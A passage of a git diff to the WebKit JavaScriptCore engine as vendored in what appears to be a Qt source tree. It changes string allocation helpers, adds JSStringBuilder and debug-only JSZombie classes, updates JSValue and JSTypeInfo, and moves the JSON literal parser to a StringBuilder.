         UChar c = s.data()[offset];
         if (c <= 0xFF)
             return globalData->smallStrings.singleCharacterString(globalData, c);
-        return new (globalData) JSString(globalData, UString::Rep::create(s.rep(), offset, 1));
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, UString(UString::Rep::create(s.rep(), offset, 1))));
     }
 
     inline JSString* jsNontrivialString(JSGlobalData* globalData, const char* s)
@@ -154,19 +380,22 @@ namespace JSC {
         ASSERT(s);
         ASSERT(s[0]);
         ASSERT(s[1]);
-        return new (globalData) JSString(globalData, s);
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, s));
     }
 
     inline JSString* jsNontrivialString(JSGlobalData* globalData, const UString& s)
     {
         ASSERT(s.size() > 1);
-        return new (globalData) JSString(globalData, s);
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, s));
     }
 
-    inline JSString* JSString::getIndex(JSGlobalData* globalData, unsigned i)
+    inline JSString* JSString::getIndex(ExecState* exec, unsigned i)
     {
         ASSERT(canGetIndex(i));
-        return jsSingleCharacterSubstring(globalData, m_value, i);
+        if (isRope())
+            return getIndexSlowCase(exec, i);
+        ASSERT(i < m_value.size());
+        return jsSingleCharacterSubstring(exec, value(exec), i);
     }
 
     inline JSString* jsString(JSGlobalData* globalData, const UString& s)
@@ -179,9 +408,16 @@ namespace JSC {
             if (c <= 0xFF)
                 return globalData->smallStrings.singleCharacterString(globalData, c);
         }
-        return new (globalData) JSString(globalData, s);
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, s));
     }
-        
+
+    inline JSString* jsStringWithFinalizer(ExecState* exec, const UString& s, JSStringFinalizerCallback callback, void* context)
+    {
+        ASSERT(s.size() && (s.size() > 1 || s.data()[0] > 0xFF));
+        JSGlobalData* globalData = &exec->globalData();
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, s, callback, context));
+    }
+
     inline JSString* jsSubstring(JSGlobalData* globalData, const UString& s, unsigned offset, unsigned length)
     {
         ASSERT(offset <= static_cast<unsigned>(s.size()));
@@ -194,7 +430,7 @@ namespace JSC {
             if (c <= 0xFF)
                 return globalData->smallStrings.singleCharacterString(globalData, c);
         }
-        return new (globalData) JSString(globalData, UString::Rep::create(s.rep(), offset, length));
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, UString(UString::Rep::create(s.rep(), offset, length)), JSString::HasOtherOwner));
     }
 
     inline JSString* jsOwnedString(JSGlobalData* globalData, const UString& s)
@@ -207,13 +443,12 @@ namespace JSC {
             if (c <= 0xFF)
                 return globalData->smallStrings.singleCharacterString(globalData, c);
         }
-        return new (globalData) JSString(globalData, s, JSString::HasOtherOwner);
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, s, JSString::HasOtherOwner));
     }
 
     inline JSString* jsEmptyString(ExecState* exec) { return jsEmptyString(&exec->globalData()); }
     inline JSString* jsString(ExecState* exec, const UString& s) { return jsString(&exec->globalData(), s); }
     inline JSString* jsSingleCharacterString(ExecState* exec, UChar c) { return jsSingleCharacterString(&exec->globalData(), c); }
-    inline JSString* jsSingleCharacterSubstring(ExecState* exec, const UString& s, unsigned offset) { return jsSingleCharacterSubstring(&exec->globalData(), s, offset); }
     inline JSString* jsSubstring(ExecState* exec, const UString& s, unsigned offset, unsigned length) { return jsSubstring(&exec->globalData(), s, offset, length); }
     inline JSString* jsNontrivialString(ExecState* exec, const UString& s) { return jsNontrivialString(&exec->globalData(), s); }
     inline JSString* jsNontrivialString(ExecState* exec, const char* s) { return jsNontrivialString(&exec->globalData(), s); }
@@ -222,14 +457,14 @@ namespace JSC {
     ALWAYS_INLINE bool JSString::getStringPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
     {
         if (propertyName == exec->propertyNames().length) {
-            slot.setValue(jsNumber(exec, m_value.size()));
+            slot.setValue(jsNumber(exec, m_length));
             return true;
         }
 
         bool isStrictUInt32;
         unsigned i = propertyName.toStrictUInt32(&isStrictUInt32);
-        if (isStrictUInt32 && i < static_cast<unsigned>(m_value.size())) {
-            slot.setValue(jsSingleCharacterSubstring(exec, m_value, i));
+        if (isStrictUInt32 && i < m_length) {
+            slot.setValue(getIndex(exec, i));
             return true;
         }
 
@@ -238,8 +473,8 @@ namespace JSC {
         
     ALWAYS_INLINE bool JSString::getStringPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
     {
-        if (propertyName < static_cast<unsigned>(m_value.size())) {
-            slot.setValue(jsSingleCharacterSubstring(exec, m_value, propertyName));
+        if (propertyName < m_length) {
+            slot.setValue(getIndex(exec, propertyName));
             return true;
         }
 
@@ -258,7 +493,7 @@ namespace JSC {
     inline UString JSValue::toString(ExecState* exec) const
     {
         if (isString())
-            return static_cast<JSString*>(asCell())->value();
+            return static_cast<JSString*>(asCell())->value(exec);
         if (isInt32())
             return exec->globalData().numericStrings.add(asInt32());
         if (isDouble())
@@ -275,6 +510,26 @@ namespace JSC {
         return asCell()->toString(exec);
     }
 
+    inline UString JSValue::toPrimitiveString(ExecState* exec) const
+    {
+        if (isString())
+            return static_cast<JSString*>(asCell())->value(exec);
+        if (isInt32())
+            return exec->globalData().numericStrings.add(asInt32());
+        if (isDouble())
+            return exec->globalData().numericStrings.add(asDouble());
+        if (isTrue())
+            return "true";
+        if (isFalse())
+            return "false";
+        if (isNull())
+            return "null";
+        if (isUndefined())
+            return "undefined";
+        ASSERT(isCell());
+        return asCell()->toPrimitive(exec, NoPreference).toString(exec);
+    }
+
 } // namespace JSC
 
 #endif // JSString_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSStringBuilder.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSStringBuilder.h
new file mode 100644
index 0000000..8f208a1
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSStringBuilder.h
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSStringBuilder_h
+#define JSStringBuilder_h
+
+#include "ExceptionHelpers.h"
+#include "JSString.h"
+#include "Vector.h"
+
+namespace JSC {
+
+class JSStringBuilder {
+public:
+    JSStringBuilder()
+        : m_okay(true)
+    {
+    }
+
+    void append(const UChar u)
+    {
+        m_okay &= buffer.tryAppend(&u, 1);
+    }
+
+    void append(const char* str)
+    {
+        append(str, strlen(str));
+    }
+
+    void append(const char* str, size_t len)
+    {
+        m_okay &= buffer.tryReserveCapacity(buffer.size() + len);
+        for (size_t i = 0; i < len; i++) {
+            UChar u = static_cast<unsigned char>(str[i]);
+            m_okay &= buffer.tryAppend(&u, 1);
+        }
+    }
+
+    void append(const UChar* str, size_t len)
+    {
+        m_okay &= buffer.tryAppend(str, len);
+    }
+
+    void append(const UString& str)
+    {
+        m_okay &= buffer.tryAppend(str.data(), str.size());
+    }
+
+    JSValue build(ExecState* exec)
+    {
+        if (!m_okay)
+            return throwOutOfMemoryError(exec);
+        buffer.shrinkToFit();
+        if (!buffer.data())
+            return throwOutOfMemoryError(exec);
+        return jsString(exec, UString::adopt(buffer));
+    }
+
+protected:
+    Vector<UChar, 64> buffer;
+    bool m_okay;
+};
+
+template<typename StringType1, typename StringType2>
+inline JSValue jsMakeNontrivialString(ExecState* exec, StringType1 string1, StringType2 string2)
+{
+    PassRefPtr<UStringImpl> result = tryMakeString(string1, string2);
+    if (!result)
+        return throwOutOfMemoryError(exec);
+    return jsNontrivialString(exec, result);
+}
+
+template<typename StringType1, typename StringType2, typename StringType3>
+inline JSValue jsMakeNontrivialString(ExecState* exec, StringType1 string1, StringType2 string2, StringType3 string3)
+{
+    PassRefPtr<UStringImpl> result = tryMakeString(string1, string2, string3);
+    if (!result)
+        return throwOutOfMemoryError(exec);
+    return jsNontrivialString(exec, result);
+}
+
+template<typename StringType1, typename StringType2, typename StringType3, typename StringType4>
+inline JSValue jsMakeNontrivialString(ExecState* exec, StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4)
+{
+    PassRefPtr<UStringImpl> result = tryMakeString(string1, string2, string3, string4);
+    if (!result)
+        return throwOutOfMemoryError(exec);
+    return jsNontrivialString(exec, result);
+}
+
+template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5>
+inline JSValue jsMakeNontrivialString(ExecState* exec, StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5)
+{
+    PassRefPtr<UStringImpl> result = tryMakeString(string1, string2, string3, string4, string5);
+    if (!result)
+        return throwOutOfMemoryError(exec);
+    return jsNontrivialString(exec, result);
+}
+
+template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6>
+inline JSValue jsMakeNontrivialString(ExecState* exec, StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6)
+{
+    PassRefPtr<UStringImpl> result = tryMakeString(string1, string2, string3, string4, string5, string6);
+    if (!result)
+        return throwOutOfMemoryError(exec);
+    return jsNontrivialString(exec, result);
+}
+
+}
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSTypeInfo.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSTypeInfo.h
index 7c89600..e225bc7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSTypeInfo.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSTypeInfo.h
@@ -50,6 +50,8 @@ namespace JSC {
         TypeInfo(JSType type, unsigned flags = 0)
             : m_type(type)
         {
+            ASSERT(flags <= 0xFF);
+            ASSERT(type <= 0xFF);
             // ImplementsDefaultHasInstance means (ImplementsHasInstance & !OverridesHasInstance)
             if ((flags & (ImplementsHasInstance | OverridesHasInstance)) == ImplementsHasInstance)
                 m_flags = flags | ImplementsDefaultHasInstance;
@@ -57,7 +59,7 @@ namespace JSC {
                 m_flags = flags;
         }
 
-        JSType type() const { return m_type; }
+        JSType type() const { return (JSType)m_type; }
 
         bool masqueradesAsUndefined() const { return m_flags & MasqueradesAsUndefined; }
         bool implementsHasInstance() const { return m_flags & ImplementsHasInstance; }
@@ -69,8 +71,8 @@ namespace JSC {
         unsigned flags() const { return m_flags; }
 
     private:
-        JSType m_type;
-        unsigned m_flags;
+        unsigned char m_type;
+        unsigned char m_flags;
     };
 
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.cpp
index bafb85b..502312c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.cpp
@@ -174,7 +174,7 @@ uint32_t toUInt32SlowCase(double d, bool& ok)
 
 NEVER_INLINE double nonInlineNaN()
 {
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
     return nanval();
 #else
     return std::numeric_limits<double>::quiet_NaN();
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.h
index 1063cdc..6da921f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSValue.h
@@ -80,6 +80,7 @@ namespace JSC {
         enum JSUndefinedTag { JSUndefined };
         enum JSTrueTag { JSTrue };
         enum JSFalseTag { JSFalse };
+        enum EncodeAsDoubleTag { EncodeAsDouble };
 
         JSValue();
         JSValue(JSNullTag);
@@ -90,6 +91,7 @@ namespace JSC {
         JSValue(const JSCell* ptr);
 
         // Numbers
+        JSValue(EncodeAsDoubleTag, ExecState*, double);
         JSValue(ExecState*, double);
         JSValue(ExecState*, char);
         JSValue(ExecState*, unsigned char);
@@ -135,8 +137,8 @@ namespace JSC {
         bool getBoolean() const; // false if not a boolean
         bool getNumber(double&) const;
         double uncheckedGetNumber() const;
-        bool getString(UString&) const;
-        UString getString() const; // null string if not a string
+        bool getString(ExecState* exec, UString&) const;
+        UString getString(ExecState* exec) const; // null string if not a string
         JSObject* getObject() const; // 0 if not an object
 
         CallType getCallData(CallData&);
@@ -156,6 +158,7 @@ namespace JSC {
         double toNumber(ExecState*) const;
         JSValue toJSNumber(ExecState*) const; // Fast path for when you expect that the value is an immediate number.
         UString toString(ExecState*) const;
+        UString toPrimitiveString(ExecState*) const;
         JSObject* toObject(ExecState*) const;
 
         // Integer conversions.
@@ -166,6 +169,10 @@ namespace JSC {
         uint32_t toUInt32(ExecState*) const;
         uint32_t toUInt32(ExecState*, bool& ok) const;
 
+#if ENABLE(JSC_ZOMBIES)
+        bool isZombie() const;
+#endif
+
         // Floating point conversions (this is a convenience method for webcore;
         // signle precision float is not a representation used in JS or JSC).
         float toFloat(ExecState* exec) const { return static_cast<float>(toNumber(exec)); }
@@ -186,9 +193,9 @@ namespace JSC {
         static bool equal(ExecState* exec, JSValue v1, JSValue v2);
         static bool equalSlowCase(ExecState* exec, JSValue v1, JSValue v2);
         static bool equalSlowCaseInline(ExecState* exec, JSValue v1, JSValue v2);
-        static bool strictEqual(JSValue v1, JSValue v2);
-        static bool strictEqualSlowCase(JSValue v1, JSValue v2);
-        static bool strictEqualSlowCaseInline(JSValue v1, JSValue v2);
+        static bool strictEqual(ExecState* exec, JSValue v1, JSValue v2);
+        static bool strictEqualSlowCase(ExecState* exec, JSValue v1, JSValue v2);
+        static bool strictEqualSlowCaseInline(ExecState* exec, JSValue v1, JSValue v2);
 
         JSValue getJSNumber(); // JSValue() if this is not a JSNumber or number object
 
@@ -228,7 +235,7 @@ namespace JSC {
         union {
             EncodedJSValue asEncodedJSValue;
             double asDouble;
-#if PLATFORM(BIG_ENDIAN)
+#if CPU(BIG_ENDIAN)
             struct {
                 int32_t tag;
                 int32_t payload;
@@ -279,6 +286,11 @@ namespace JSC {
         return b ? JSValue(JSValue::JSTrue) : JSValue(JSValue::JSFalse);
     }
 
+    ALWAYS_INLINE JSValue jsDoubleNumber(ExecState* exec, double d)
+    {
+        return JSValue(JSValue::EncodeAsDouble, exec, d);
+    }
+
     ALWAYS_INLINE JSValue jsNumber(ExecState* exec, double d)
     {
         return JSValue(exec, d);
@@ -431,6 +443,9 @@ namespace JSC {
     {
         JSValue v;
         v.u.asEncodedJSValue = encodedJSValue;
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!v.isZombie());
+#endif
         return v;
     }
 
@@ -477,6 +492,9 @@ namespace JSC {
         else
             u.asBits.tag = EmptyValueTag;
         u.asBits.payload = reinterpret_cast<int32_t>(ptr);
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!isZombie());
+#endif
     }
 
     inline JSValue::JSValue(const JSCell* ptr)
@@ -486,6 +504,9 @@ namespace JSC {
         else
             u.asBits.tag = EmptyValueTag;
         u.asBits.payload = reinterpret_cast<int32_t>(const_cast<JSCell*>(ptr));
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!isZombie());
+#endif
     }
 
     inline JSValue::operator bool() const
@@ -583,6 +604,11 @@ namespace JSC {
         return reinterpret_cast<JSCell*>(u.asBits.payload);
     }
 
+    ALWAYS_INLINE JSValue::JSValue(EncodeAsDoubleTag, ExecState*, double d)
+    {
+        u.asDouble = d;
+    }
+
     inline JSValue::JSValue(ExecState* exec, double d)
     {
         const int32_t asInt32 = static_cast<int32_t>(d);
@@ -781,11 +807,17 @@ namespace JSC {
     inline JSValue::JSValue(JSCell* ptr)
         : m_ptr(ptr)
     {
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!isZombie());
+#endif
     }
 
     inline JSValue::JSValue(const JSCell* ptr)
         : m_ptr(const_cast<JSCell*>(ptr))
     {
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!isZombie());
+#endif
     }
 
     inline JSValue::operator bool() const
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.cpp
index 6586393..7365001 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.cpp
@@ -42,25 +42,15 @@ bool JSVariableObject::deleteProperty(ExecState* exec, const Identifier& propert
     return JSObject::deleteProperty(exec, propertyName);
 }
 
-void JSVariableObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSVariableObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     SymbolTable::const_iterator end = symbolTable().end();
     for (SymbolTable::const_iterator it = symbolTable().begin(); it != end; ++it) {
-        if (!(it->second.getAttributes() & DontEnum))
+        if (!(it->second.getAttributes() & DontEnum) || (mode == IncludeDontEnumProperties))
             propertyNames.add(Identifier(exec, it->first.get()));
     }
     
-    JSObject::getOwnPropertyNames(exec, propertyNames);
-}
-
-bool JSVariableObject::getPropertyAttributes(ExecState* exec, const Identifier& propertyName, unsigned& attributes) const
-{
-    SymbolTableEntry entry = symbolTable().get(propertyName.ustring().rep());
-    if (!entry.isNull()) {
-        attributes = entry.getAttributes() | DontDelete;
-        return true;
-    }
-    return JSObject::getPropertyAttributes(exec, propertyName, attributes);
+    JSObject::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 bool JSVariableObject::isVariableObject() const
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.h
index d8b1479..6c679ce 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSVariableObject.h
@@ -49,18 +49,16 @@ namespace JSC {
         virtual void putWithAttributes(ExecState*, const Identifier&, JSValue, unsigned attributes) = 0;
 
         virtual bool deleteProperty(ExecState*, const Identifier&);
-        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
         
         virtual bool isVariableObject() const;
         virtual bool isDynamicScope() const = 0;
 
-        virtual bool getPropertyAttributes(ExecState*, const Identifier& propertyName, unsigned& attributes) const;
-
         Register& registerAt(int index) const { return d->registers[index]; }
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
         
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSWrapperObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSWrapperObject.h
index 191ff3b..f19cd30 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSWrapperObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSWrapperObject.h
@@ -38,9 +38,12 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype) 
         { 
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
+    protected:
+        static const unsigned AnonymousSlotCount = 1 + JSObject::AnonymousSlotCount;
+
     private:
         virtual void markChildren(MarkStack&);
         
@@ -50,7 +53,6 @@ namespace JSC {
     inline JSWrapperObject::JSWrapperObject(NonNullPassRefPtr<Structure> structure)
         : JSObject(structure)
     {
-        addAnonymousSlots(1);
         putAnonymousValue(0, jsNull());
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSZombie.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSZombie.cpp
new file mode 100644
index 0000000..072d29b
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSZombie.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+#include "JSZombie.h"
+#include "ClassInfo.h"
+
+#if ENABLE(JSC_ZOMBIES)
+
+namespace JSC {
+
+const ClassInfo JSZombie::s_info = { "Zombie", 0, 0, 0 };
+
+Structure* JSZombie::leakedZombieStructure() {
+    static Structure* structure = 0;
+    if (!structure) {
+        Structure::startIgnoringLeaks();
+        structure = Structure::create(jsNull(), TypeInfo(UnspecifiedType)).releaseRef();
+        Structure::stopIgnoringLeaks();
+    }
+    return structure;
+}
+
+}
+
+#endif // ENABLE(JSC_ZOMBIES)
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSZombie.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSZombie.h
new file mode 100644
index 0000000..8b33ea6
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSZombie.h
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSZombie_h
+#define JSZombie_h
+
+#include "JSCell.h"
+
+#if ENABLE(JSC_ZOMBIES)
+namespace JSC {
+
+class JSZombie : public JSCell {
+public:
+    JSZombie(const ClassInfo* oldInfo, Structure* structure)
+        : JSCell(structure)
+        , m_oldInfo(oldInfo)
+    {
+    }
+    virtual bool isZombie() const { return true; }
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+    static Structure* leakedZombieStructure();
+
+    virtual bool isGetterSetter() const { ASSERT_NOT_REACHED(); return false; }
+    virtual bool isAPIValueWrapper() const { ASSERT_NOT_REACHED(); return false; }
+    virtual bool isPropertyNameIterator() const { ASSERT_NOT_REACHED(); return false; }
+    virtual CallType getCallData(CallData&) { ASSERT_NOT_REACHED(); return CallTypeNone; }
+    virtual ConstructType getConstructData(ConstructData&) { ASSERT_NOT_REACHED(); return ConstructTypeNone; }
+    virtual bool getUInt32(uint32_t&) const { ASSERT_NOT_REACHED(); return false; }
+    virtual JSValue toPrimitive(ExecState*, PreferredPrimitiveType) const { ASSERT_NOT_REACHED(); return jsNull(); }
+    virtual bool getPrimitiveNumber(ExecState*, double&, JSValue&) { ASSERT_NOT_REACHED(); return false; }
+    virtual bool toBoolean(ExecState*) const { ASSERT_NOT_REACHED(); return false; }
+    virtual double toNumber(ExecState*) const { ASSERT_NOT_REACHED(); return 0.0; }
+    virtual UString toString(ExecState*) const { ASSERT_NOT_REACHED(); return ""; }
+    virtual JSObject* toObject(ExecState*) const { ASSERT_NOT_REACHED(); return 0; }
+    virtual void markChildren(MarkStack&) { ASSERT_NOT_REACHED(); }
+    virtual void put(ExecState*, const Identifier&, JSValue, PutPropertySlot&) { ASSERT_NOT_REACHED(); }
+    virtual void put(ExecState*, unsigned, JSValue) { ASSERT_NOT_REACHED(); }
+    virtual bool deleteProperty(ExecState*, const Identifier&) { ASSERT_NOT_REACHED(); return false; }
+    virtual bool deleteProperty(ExecState*, unsigned) { ASSERT_NOT_REACHED(); return false; }
+    virtual JSObject* toThisObject(ExecState*) const { ASSERT_NOT_REACHED(); return 0; }
+    virtual UString toThisString(ExecState*) const { ASSERT_NOT_REACHED(); return ""; }
+    virtual JSString* toThisJSString(ExecState*) { ASSERT_NOT_REACHED(); return 0; }
+    virtual JSValue getJSNumber() { ASSERT_NOT_REACHED(); return jsNull(); }
+    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&) { ASSERT_NOT_REACHED(); return false; }
+    virtual bool getOwnPropertySlot(ExecState*, unsigned, PropertySlot&) { ASSERT_NOT_REACHED(); return false; }
+    
+    static const ClassInfo s_info;
+private:
+    const ClassInfo* m_oldInfo;
+};
+
+}
+
+#endif // ENABLE(JSC_ZOMBIES)
+
+#endif // JSZombie_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/LiteralParser.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/LiteralParser.cpp
index d242282..cc33bae 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/LiteralParser.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/LiteralParser.cpp
@@ -29,6 +29,7 @@
 #include "JSArray.h"
 #include "JSString.h"
 #include "Lexer.h"
+#include "StringBuilder.h"
 #include <wtf/ASCIICType.h>
 #include <wtf/dtoa.h>
 
@@ -134,48 +135,48 @@ template <LiteralParser::ParserMode mode> inline LiteralParser::TokenType Litera
 {
     ++m_ptr;
     const UChar* runStart;
-    token.stringToken = UString();
+    StringBuilder builder;
     do {
         runStart = m_ptr;
         while (m_ptr < m_end && isSafeStringCharacter<mode>(*m_ptr))
             ++m_ptr;
         if (runStart < m_ptr)
-            token.stringToken.append(runStart, m_ptr - runStart);
+            builder.append(runStart, m_ptr - runStart);
         if ((mode == StrictJSON) && m_ptr < m_end && *m_ptr == '\\') {
             ++m_ptr;
             if (m_ptr >= m_end)
                 return TokError;
             switch (*m_ptr) {
                 case '"':
-                    token.stringToken.append('"');
+                    builder.append('"');
                     m_ptr++;
                     break;
                 case '\\':
-                    token.stringToken.append('\\');
+                    builder.append('\\');
                     m_ptr++;
                     break;
                 case '/':
-                    token.stringToken.append('/');
+                    builder.append('/');
                     m_ptr++;
                     break;
                 case 'b':
-                    token.stringToken.append('\b');
+                    builder.append('\b');
                     m_ptr++;
                     break;
                 case 'f':
-                    token.stringToken.append('\f');
+                    builder.append('\f');
                     m_ptr++;
                     break;
                 case 'n':
-                    token.stringToken.append('\n');
+                    builder.append('\n');
                     m_ptr++;
                     break;
                 case 'r':
-                    token.stringToken.append('\r');
+                    builder.append('\r');
                     m_ptr++;
                     break;
                 case 't':
-                    token.stringToken.append('\t');
+                    builder.append('\t');
                     m_ptr++;
                     break;
 
